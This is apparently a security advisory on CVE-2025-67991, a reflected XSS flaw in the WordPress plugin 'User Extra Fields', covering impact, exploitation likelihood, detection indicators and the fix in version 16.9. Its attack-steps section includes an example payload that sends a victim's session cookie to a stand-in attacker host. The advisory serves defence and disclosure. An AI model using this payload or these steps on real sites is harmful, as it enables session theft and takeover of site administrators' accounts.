CVE-2025-67991: 
WordPress vulnerability analysis and mitigation

CVE-2025-67991 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "User Extra Fields" by vanquish, affecting all versions up to and including 16.8. The flaw was discovered by researcher Phat RiO and reported on November 23, 2025, with public disclosure occurring on February 9, 2026 via Patchstack, and NVD publication on February 20, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript into the page rendered in a victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a crafted malicious link or visit an attacker-controlled page. The attack vector is network-based with low complexity and a changed scope, meaning the injected script executes in the context of the victim's browser session on the affected site (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who clicks a malicious link, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or injection of malicious redirects and advertisements into the WordPress site. The changed scope (S:C) indicates the impact extends beyond the vulnerable component itself, affecting the victim's browser environment. Confidentiality, integrity, and availability are each assessed as Low impact, consistent with typical reflected XSS outcomes (Patchstack).

No evidence of active in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity. No public PoC exploit code has been identified at this time (Patchstack).

1. Reconnaissance: Identify WordPress sites running the User Extra Fields plugin (versions ≤ 16.8) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific files.
2. Identify vulnerable parameter: Locate the input parameter(s) in the plugin that are reflected unsanitized in the HTTP response (e.g., via URL query parameters processed by the plugin's front-end or admin pages).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://target-site.com/wp-admin/...?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser renders the response, the injected script executes in their session — enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack).

• Network: Outbound requests from victim browsers to unknown external domains shortly after accessing WordPress admin pages; unusual GET/POST requests to plugin endpoints containing encoded script tags (%3Cscript%3E, javascript:, onerror=, etc.).
• Logs: WordPress or web server access logs showing requests to plugin-related URLs with suspicious query parameters containing HTML/JavaScript payloads; referrer headers pointing to external attacker-controlled domains.
• File System: Unexpected modifications to WordPress theme or plugin files if the attacker escalated from XSS to session hijacking and gained admin access.
• Process/Behavior: Unusual admin-level actions in WordPress audit logs (e.g., new admin user creation, plugin installation) performed by a legitimate admin account shortly after clicking an external link.

The vendor has released version 16.9 of the User Extra Fields plugin, which patches this vulnerability. All users should update to version 16.9 or later immediately via the WordPress plugin dashboard. Patchstack users benefit from a virtual patch (mitigation rule) that blocks exploitation attempts until the plugin is updated. If immediate updating is not possible, consider temporarily deactivating the plugin or restricting access to affected endpoints (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of February 9–15, 2026, highlighting it as part of broader WordPress plugin security coverage. Patchstack, which coordinated disclosure, classified it as medium priority and noted the potential for mass-exploit campaigns targeting WordPress sites. No significant independent researcher commentary or major media coverage beyond these security vendor reports has been identified.